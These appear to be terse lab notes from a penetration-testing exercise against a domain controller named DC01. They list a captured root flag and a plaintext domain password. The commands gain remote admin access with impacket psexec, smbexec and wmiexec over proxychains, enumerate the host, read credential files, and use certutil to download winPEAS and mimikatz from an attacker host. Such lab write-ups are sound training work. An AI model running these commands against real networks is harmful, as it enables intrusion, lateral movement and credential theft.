172.16.174.10 (DC01)

Flags Obtained

Root:
    0f2ceeea11d3210c246b3ec95702817d

Access method

Gain administrative access
    proxychains impacket-psexec medtech.com/leon:rabbit:\)@172.16.226.10
    proxychains impacket-smbexec medtech.com/leon:rabbit:\)@172.16.226.10

Gain basic user access
    proxychains impacket-wmiexec medtech.com/leon:rabbit:\)@172.16.226.10

Admin Enumeration

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Domain" /C:"Network Card"
whoami
whoami /groups
whoami /priv

powershell -ep bypass
Get-ChildItem -Path C:\Users -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*ini,*.log -File -Recurse -ErrorAction SilentlyContinue

type C:\Users\Administrator\Desktop\credentials.txt
type C:\Users\Administrator\Desktop\proof.txt

certutil -urlcache -split -f http://192.168.45.239/winPEASx64.exe winPEAS.exe
certutil -urlcache -split -f http://192.168.45.239/mimikatz.exe mimikatz.exe